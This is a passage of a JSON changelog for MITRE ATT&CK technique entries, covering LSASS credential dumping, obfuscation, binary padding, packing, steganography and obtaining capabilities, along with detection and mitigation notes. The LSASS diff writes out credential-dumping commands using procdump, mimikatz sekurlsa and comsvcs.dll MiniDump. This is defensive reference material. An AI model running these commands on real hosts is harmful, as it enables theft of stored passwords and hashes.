Vulnerabilities. Retrieved March 3, 2021.\", \"old_value\": \"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/\", \"old_value\": \"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Symantec Attacks Against Government Sector\", \"old_value\": \"TechNet Blogs Credential Protection\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.\", \"old_value\": \"Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf\", \"old_value\": \"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Graeber 2014\", \"old_value\": \"Medium Detecting Attempts to Steal Passwords from Memory\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.\", \"old_value\": \"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html\", \"old_value\": \"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"TechNet Blogs Credential Protection\", \"old_value\": \"Powersploit\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.\", \"old_value\": \"PowerSploit. (n.d.). Retrieved December 4, 2014.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/\", \"old_value\": \"https://github.com/mattifestation/PowerSploit\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Medium Detecting Attempts to Steal Passwords from Memory\", \"description\": \"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.\", \"url\": \"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea\"}, \"root['external_references'][6]\": {\"source_name\": \"Powersploit\", \"description\": \"PowerSploit. (n.d.). Retrieved December 4, 2014.\", \"url\": \"https://github.com/mattifestation/PowerSploit\"}, \"root['x_mitre_contributors'][0]\": \"Edward Millington\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to access credential material storedt1Adversaries may attempt to access credential material stored
> in the process memory of the Local Security Authority Subsy> in the process memory of the Local Security Authority Subsy
>stem Service (LSASS). After a user logs on, the system gener>stem Service (LSASS). After a user logs on, the system gener
>ates and stores a variety of credential materials in LSASS p>ates and stores a variety of credential materials in LSASS p
>rocess memory. These credential materials can be harvested b>rocess memory. These credential materials can be harvested b
>y an administrative user or SYSTEM and used to conduct [Late>y an administrative user or SYSTEM and used to conduct [Late
>ral Movement](https://attack.mitre.org/tactics/TA0008) using>ral Movement](https://attack.mitre.org/tactics/TA0008) using
> [Use Alternate Authentication Material](https://attack.mitr> [Use Alternate Authentication Material](https://attack.mitr
>e.org/techniques/T1550).  As well as in-memory techniques, t>e.org/techniques/T1550).  As well as in-memory techniques, t
>he LSASS process memory can be dumped from the target host a>he LSASS process memory can be dumped from the target host a
>nd analyzed on a local system.  For example, on the target h>nd analyzed on a local system.  For example, on the target h
>ost use procdump:  * <code>procdump -ma lsass.exe lsass_dump>ost use procdump:  * <code>procdump -ma lsass.exe lsass_dump
></code>  Locally, mimikatz can be run using:  * <code>sekurl></code>  Locally, mimikatz can be run using:  * <code>sekurl
>sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas>sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas
>swords</code>   Windows Security Support Provider (SSP) DLLs>swords</code>  Built-in Windows tools such as comsvcs.dll ca
> are loaded into LSSAS process at system start. Once loaded >n also be used:  * <code>rundll32.exe C:\\Windows\\System32\\co
>into the LSA, SSP DLLs have access to encrypted and plaintex>msvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Vole
>t passwords that are stored in Windows, such as any logged-o>xity Exchange Marauder March 2021)(Citation: Symantec Attack
>n user's Domain password or smart card PINs. The SSP configu>s Against Government Sector)   Windows Security Support Prov
>ration is stored in two Registry keys: <code>HKLM\\SYSTEM\\Cur>ider (SSP) DLLs are loaded into LSSAS process at system star
>rentControlSet\\Control\\Lsa\\Security Packages</code> and <cod>t. Once loaded into the LSA, SSP DLLs have access to encrypt
>e>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Securit>ed and plaintext passwords that are stored in Windows, such 
>y Packages</code>. An adversary may modify these Registry ke>as any logged-on user's Domain password or smart card PINs. 
>ys to add new SSPs, which will be loaded the next time the s>The SSP configuration is stored in two Registry keys: <code>
>ystem boots, or when the AddSecurityPackage Windows API func>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages<
>tion is called.(Citation: Graeber 2014)  The following SSPs >/code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\O
>can be used to access credentials:  * Msv: Interactive logon>SConfig\\Security Packages</code>. An adversary may modify th
>s, batch logons, and service logons are done through the MSV>ese Registry keys to add new SSPs, which will be loaded the 
> authentication package. * Wdigest: The Digest Authenticatio>next time the system boots, or when the AddSecurityPackage W
>n protocol is designed for use with Hypertext Transfer Proto>indows API function is called.(Citation: Graeber 2014)  The 
>col (HTTP) and Simple Authentication Security Layer (SASL) e>following SSPs can be used to access credentials:  * Msv: In
>xchanges.(Citation: TechNet Blogs Credential Protection) * K>teractive logons, batch logons, and service logons are done 
>erberos: Preferred for mutual client-server domain authentic>through the MSV authentication package. * Wdigest: The Diges
>ation in Windows 2000 and later. * CredSSP:  Provides SSO an>t Authentication protocol is designed for use with Hypertext
>d Network Level Authentication for Remote Desktop Services.(> Transfer Protocol (HTTP) and Simple Authentication Security
>Citation: TechNet Blogs Credential Protection) > Layer (SASL) exchanges.(Citation: TechNet Blogs Credential 
 >Protection) * Kerberos: Preferred for mutual client-server d
 >omain authentication in Windows 2000 and later. * CredSSP:  
 >Provides SSO and Network Level Authentication for Remote Des
 >ktop Services.(Citation: TechNet Blogs Credential Protection
 >) 
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1025: Privileged Process Integrity", "M1026: Privileged Account Management", "M1027: Password Policies", "M1028: Operating System Configuration", "M1043: Credential Access Protection" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:32.662000+00:00", "modified": "2021-10-20 16:33:13.472000+00:00", "name": "Obfuscated Files or Information", "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027", "external_id": "T1027" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/267.html", "external_id": "CAPEC-267" }, { "source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" }, { "source_name": "Linux/Cdorked.A We Live Security Analysis", "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.", "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" }, { "source_name": "Carbon Black Obfuscation Sept 2016", "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" }, { "source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" }, { "source_name": "FireEye Revoke-Obfuscation July 2017", "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.", "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf" }, { "source_name": "PaloAlto EncodedCommand March 2017", "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/" }, { "source_name": "GitHub Revoke-Obfuscation", "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.", "url": "https://github.com/danielbohannon/Revoke-Obfuscation" }, { "source_name": "GitHub Office-Crackros Aug 2016", "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.", "url": "https://github.com/itsreallynick/office-crackros" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Red Canary", "Christiaan Beek, @ChristiaanBeek" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Metadata", "File: File Creation", "Process: Process Creation" ], "x_mitre_defense_bypassed": [ "Host forensic analysis", "Signature-based detection", "Host intrusion prevention systems", "Application control", "Log analysis", "Application control by file name or path" ], "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-20 16:33:13.472000+00:00\", \"old_value\": \"2021-04-24 13:19:18.594000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File: File Content\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][4]\": \"Command: Command Execution\", \"root['x_mitre_data_sources'][5]\": \"Command: Command Execution\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1049: Antivirus/Antimalware" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-05 14:04:25.865000+00:00", "modified": "2021-10-15 13:53:02.135000+00:00", "name": "Binary Padding", "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/001", "external_id": "T1027.001" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/572.html", "external_id": "CAPEC-572" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/655.html", "external_id": "CAPEC-655" }, { "source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" }, { "source_name": "Securelist Malware Tricks April 2017", "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.", "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/" }, { "source_name": "VirusTotal FAQ", "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.", "url": "https://www.virustotal.com/en/faq/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Martin Jirkal, ESET" ], "x_mitre_data_sources": [ "File: File Metadata" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Signature-based detection" ], "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 13:53:02.135000+00:00\", \"old_value\": \"2020-09-17 18:25:33.828000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"File: File Content\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-05 14:17:46.686000+00:00", "modified": "2021-10-15 13:56:47.154000+00:00", "name": "Software Packing", "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/002", "external_id": "T1027.002" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/570.html", "external_id": "CAPEC-570" }, { "source_name": "ESET FinFisher Jan 2018", "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" }, { "source_name": "Wikipedia Exe Compression", "description": "Executable compression. (n.d.). Retrieved December 4, 2014.", "url": "http://en.wikipedia.org/wiki/Executable_compression" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Filip Kafka, ESET" ], "x_mitre_data_sources": [ "File: File Metadata" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Heuristic detection", "Signature-based detection" ], "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 13:56:47.154000+00:00\", \"old_value\": \"2020-02-05 20:05:41.548000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"File: File Content\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1049: Antivirus/Antimalware" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-05 14:28:16.719000+00:00", "modified": "2021-10-15 16:46:56.760000+00:00", "name": "Steganography", "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/003", "external_id": "T1027.003" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/636.html", "external_id": "CAPEC-636" }, { "source_name": "Wikipedia Duqu", "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", "url": "https://en.wikipedia.org/wiki/Duqu" }, { "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics", "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Metadata" ], "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 16:46:56.760000+00:00\", \"old_value\": \"2020-09-16 19:24:20.350000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"File: File Metadata\", \"old_value\": \"File: File Content\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.\", \"old_value\": \"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:56:24.776000+00:00", "modified": "2021-10-18 12:26:22.831000+00:00", "name": "Obtain Capabilities", "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1588", "external_id": "T1588" }, { "source_name": "NationsBuying", "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html" }, { "source_name": "PegasusCitizenLab", "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" }, { "source_name": "DiginotarCompromise", "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" }, { "source_name": "FireEyeSupplyChain", "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" }, { "source_name": "Analyzing CS Dec 2020", "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" }, { "source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" }, { "source_name": "Recorded Future Beacon Certificates", "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", "url": "https://www.recordedfuture.com/cobalt-strike-servers/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata", "Malware Repository: Malware Content", "Certificate: Certificate Registration", "Internet Scan: Response Content" ], "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\", \"Certificate: Certificate Registration\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:26:22.831000+00:00\", \"old_value\": \"2021-04-15 03:15:21.193000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n+Consider analyzing malware for features that may be associated with 